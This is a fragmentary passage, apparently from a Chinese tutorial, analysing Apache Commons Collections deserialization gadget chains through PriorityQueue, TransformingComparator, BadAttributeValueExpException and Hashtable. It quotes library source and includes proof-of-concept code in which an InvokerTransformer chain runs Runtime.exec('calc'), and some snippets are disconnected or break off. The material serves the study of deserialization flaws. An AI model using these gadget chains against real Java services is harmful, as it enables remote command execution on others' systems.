public int compare(I obj1, I obj2) { O value1 = this.transformer.transform(obj1); O value2 = this.transformer.transform(obj2); return this.decorated.compare(value1, value2); }
transformer 是 TransformingComparator 中定义的属性:
1
private final Transformer<? super I, ? extends O> transformer;
这个属性在构造方法中被赋值:
1 2 3 4
public TransformingComparator(Transformer<? super I, ? extends O> transformer, Comparator<O> decorated) { this.decorated = decorated; this.transformer = transformer; }
另一个构造方法又调用了这个构造方法:
1 2 3
public TransformingComparator(Transformer<? super I, ? extends O> transformer) { this(transformer, ComparatorUtils.NATURAL_COMPARATOR); }
private void siftDownUsingComparator(int k, E x) { int half = size >>> 1; while (k < half) { int child = (k << 1) + 1; Object c = queue[child]; int right = child + 1; if (right < size && comparator.compare((E) c, (E) queue[right]) > 0) c = queue[child = right]; if (comparator.compare(x, (E) c) <= 0) break; queue[k] = c; k = child; } queue[k] = x; }
comparator 是 PriorityQueue 中定义的成员属性:
1
private final Comparator<? super E> comparator;
在构造方法中被赋值:
1 2 3 4 5 6 7 8 9
public PriorityQueue(int initialCapacity, Comparator<? super E> comparator) { // Note: This restriction of at least one is not actually needed, // but continues for 1.5 compatibility if (initialCapacity < 1) throw new IllegalArgumentException(); this.queue = new Object[initialCapacity]; this.comparator = comparator; }
这个构造方法又被另一个构造方法调用:
1 2 3
public PriorityQueue(Comparator<? super E> comparator) { this(DEFAULT_INITIAL_CAPACITY, comparator); }
public boolean offer(E e) { if (e == null) throw new NullPointerException(); modCount++; int i = size; if (i >= queue.length) grow(i + 1); size = i + 1; if (i == 0) queue[0] = e; else siftUp(i, e); return true; }
private void writeObject(java.io.ObjectOutputStream s) throws java.io.IOException { // Write out element count, and any hidden stuff s.defaultWriteObject();
// Write out array length, for compatibility with 1.5 version s.writeInt(Math.max(2, size + 1));
// Write out all elements in the "proper order". for (int i = 0; i < size; i++) s.writeObject(queue[i]); }
PriorityQueue#readObject()
PriorityQueue 的 readObject 方法调用了 heapify 方法:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18
private void readObject(java.io.ObjectInputStream s) throws java.io.IOException, ClassNotFoundException { // Read in size, and any hidden stuff s.defaultReadObject();
// Read in (and discard) array length s.readInt();
queue = new Object[size];
// Read in all elements. for (int i = 0; i < size; i++) queue[i] = s.readObject();
// Elements are guaranteed to be in "proper order", but the // spec has never explained what that might be. heapify(); }
// 利用 ChainedTransformer 执行 templates.newTransformer() Transformer[] transformers = new Transformer[] { new ConstantTransformer(TrAXFilter.class), new InstantiateTransformer(new Class[]{Templates.class}, new Object[]{templates}) }; ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
public class CC5 { public static void main(String[] args) throws Exception {
// 利用 ChainedTransformer 执行 Runtime.getRuntime.exec("calc") Transformer[] transformers = new Transformer[] { new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}), new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}), new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"}) }; Transformer chainedTransformer = new ChainedTransformer(transformers);
// 利用 LazyMap 的 get 方法执行 ChainedTransformer 的 transform 方法 Map uselessMap = new HashMap(); Map lazyMap = LazyMap.decorate(uselessMap,chainedTransformer);
// 利用 TiedMapEntry 的 toString 方法执行 LazyMap 的 get 方法 TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap,"test");
// 反射设置 val ,不在构造方法中设置 val 是为了避免提前代码执行 Field val = BadAttributeValueExpException.class.getDeclaredField("val"); val.setAccessible(true); val.set(badAttributeValueExpException, tiedMapEntry);
// 序列化成字节数组 ByteArrayOutputStream baos = new ByteArrayOutputStream(); ObjectOutputStream oos = new ObjectOutputStream(baos); oos.writeObject(badAttributeValueExpException); oos.flush(); oos.close();
// 反序列化字节数组 ByteArrayInputStream bais = new ByteArrayInputStream(baos.toByteArray()); ObjectInputStream ois = new ObjectInputStream(bais); ois.readObject(); ois.close();
private void reconstitutionPut(Entry<?,?>[] tab, K key, V value) throws StreamCorruptedException { if (value == null) { throw new java.io.StreamCorruptedException(); } // Makes sure the key is not already in the hashtable. // This should not happen in deserialized version. int hash = key.hashCode(); int index = (hash & 0x7FFFFFFF) % tab.length; for (Entry<?,?> e = tab[index] ; e != null ; e = e.next) { if ((e.hash == hash) && e.key.equals(key)) { throw new java.io.StreamCorruptedException(); } } // Creates the new entry. @SuppressWarnings("unchecked") Entry<K,V> e = (Entry<K,V>)tab[index]; tab[index] = new Entry<>(hash, key, value, e); count++; }
这里需要注意几个点:
一是 value 需要不为空,否则抛出异常;
二是 for 循环中的 if 判断条件 (e.hash == hash) && e.key.equals(key) ,使用 && 符号,具有短路特性,也就是说只有左边的式子返回 true ,右边的式子才会执行。
private void readObject(java.io.ObjectInputStream s) throws IOException, ClassNotFoundException { // Read in the length, threshold, and loadfactor s.defaultReadObject();
// Read the original length of the array and number of elements int origlength = s.readInt(); int elements = s.readInt();
// Compute new size with a bit of room 5% to grow but // no larger than the original size. Make the length // odd if it's large enough, this helps distribute the entries. // Guard against the length ending up zero, that's not valid. int length = (int)(elements * loadFactor) + (elements / 20) + 3; if (length > elements && (length & 1) == 0) length--; if (origlength > 0 && length > origlength) length = origlength; table = new Entry<?,?>[length]; threshold = (int)Math.min(length * loadFactor, MAX_ARRAY_SIZE + 1); count = 0;
// Read the number of elements and then all the key/value objects for (; elements > 0; elements--) { @SuppressWarnings("unchecked") K key = (K)s.readObject(); @SuppressWarnings("unchecked") V value = (V)s.readObject(); // synch could be eliminated for performance reconstitutionPut(table, key, value); } }
public synchronized V put(K key, V value) { // Make sure the value is not null if (value == null) { throw new NullPointerException(); }
// Makes sure the key is not already in the hashtable. Entry<?,?> tab[] = table; int hash = key.hashCode(); int index = (hash & 0x7FFFFFFF) % tab.length; @SuppressWarnings("unchecked") Entry<K,V> entry = (Entry<K,V>)tab[index]; for(; entry != null ; entry = entry.next) { if ((entry.hash == hash) && entry.key.equals(key)) { V old = entry.value; entry.value = value; return old; } }
public static void main(String[] args) throws Exception { // 利用 ChainedTransformer 执行 Runtime.getRuntime.exec("calc") Transformer[] transformers = new Transformer[] { new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}), new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}), new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"}) };
// 先传入空的 Transformer 数组,防止 put 时命令执行 Transformer[] transformers1 = new Transformer[]{}; Transformer chainedTransformer = new ChainedTransformer(transformers1);
// 新建两个 HashMap 作为传入的参数 Map innerMap1 = new HashMap(); Map innerMap2 = new HashMap();